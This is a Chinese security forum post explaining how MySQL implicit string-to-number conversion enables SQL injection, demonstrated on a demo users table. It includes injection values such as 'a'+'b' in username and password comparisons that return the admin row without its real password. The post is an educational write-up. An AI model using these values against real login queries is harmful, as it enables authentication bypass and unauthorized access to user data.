找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 832|回复: 0

mysql隐式转换在注入中的利用

[复制链接]

29

主题

-4

回帖

117

牛毛

一级牛人

积分
117
发表于 2013-4-16 17:19:02 | 显示全部楼层 |阅读模式 来自 上海市


为了便于理解直接从隐式转换的注入例子开始来往下分析.

创建表,加入俩个用户

CREATE TABLE `users` (
`userid` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(45) NOT NULL,
`password` varchar(45) NOT NULL,
PRIMARY KEY (`userid`)
);

INSERT INTO `users` (`username`, `password`) VALUES (‘admin’, ‘MySuperS3cretPass!’);
INSERT INTO `users` (`username`, `password`) VALUES (’666admin’, ‘nataSmaI’);


看如下查询

mysql> SELECT * FROM users WHERE username = ‘a’+'b’ AND password = ‘a’+'b’;
+——–+———-+——————–+
| userid | username | password |
+——–+———-+——————–+
| 1 | admin | MySuperS3cretPass! |
+——–+———-+——————–+
1 row in set, 7 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+———+——+——————————————————–+
| Level | Code | Message |
+———+——+——————————————————–+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘admin’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘MySuperS3cretPass!’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ’666admin’ |
+———+——+——————————————————–+
7 rows in set (0.00 sec)

好奇这个结果怎么回事这样的. 没错,这里利用了隐式转换注入.回过头来分析一下原理.

mysql> SELECT 1+1;
+—–+
| 1+1 |
+—–+
| 2 |
+—–+
1 row in set (0.00 sec)

如上查询没什么问题…这里不说了..接着下面

mysql> SELECT ‘foo’+1;
+———+
| ‘foo’+1 |
+———+
| 1 |
+———+
1 row in set, 1 warning (0.00 sec)
mysql> SHOW WARNINGS;
+———+——+—————————————–+
| Level | Code | Message |
+———+——+—————————————–+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘foo’ |
+———+——+—————————————–+
1 row in set (0.00 sec)

这里发生了隐式转换,结果为查询结果为1.这里’foo’被转换成double类型.但是显然他不是数字,所以他将转换成0.

mysql手册说明如下:

When an operator is used with operands of different types, type conversion occurs to make the operands compatible.

那么添加俩个字符串呢?不需要转换吗?看下面sql执行

mysql> SELECT ‘a’+'b’;
+———+
| ‘a’+'b’ |
+———+
| 0 |
+———+
1 row in set, 2 warnings (0.00 sec)
mysql> SHOW WARNINGS;
+———+——+—————————————+
| Level | Code | Message |
+———+——+—————————————+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
+———+——+—————————————+
2 rows in set (0.00 sec)

这里+是个算术运算符.俩个字符串转化为数值.0+0..结果自然就是0了.

现在知道俩个字符串的总合是0.通过查询我们知道 SELECT ‘a’ + ‘b’ = 0的结果是true(数值就是1).

那么比较下俩个字符串总和和另外一个字符串.

mysql> SELECT ‘a’+'b’='c’;
+————-+
| ‘a’+'b’='c’ |
+————-+
| 1 |
+————-+
1 row in set, 3 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+———+——+—————————————+
| Level | Code | Message |
+———+——+—————————————+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘c’ |
+———+——+—————————————+
3 rows in set (0.00 sec)

从warning我们可以看出都进行了隐式转换.查询执行应该是select 0=0…结果就是1.

mysql手册说明如下:

In all other cases, the arguments are compared as floating-point (real) numbers.

好了,基础了解到这里,来理解下文章开头那个案例.

SELECT * FROM users WHERE username = ‘a’+'b’ AND password = ‘a’+'b’;

在查询的时候数值进行隐式转换和比较.比如第一条记录的username过程应该是这样的..

select ‘admin’='a’+'b’结果自然为1,password以此类推.

到第二条记录的时候,select ’666admin’='a’+'b’,进一步分析select 666=’a'+’b',结果为假.数值就是0.所以开头那个案例的查询结果就是那样的了…

如果需要查询满足第二个条件select ’666admin’=666这个可以满足,利用如下:

mysql> SELECT * FROM users WHERE username = ‘a’+’666′ AND password = ‘a’+'b’;
+——–+———-+———-+
| userid | username | password |
+——–+———-+———-+
| 2 | 666admin | nataSamI |
+——–+———-+———-+
1 row in set, 6 warnings (0.00 sec)
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-27 21:54 , Processed in 0.188451 second(s), 35 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表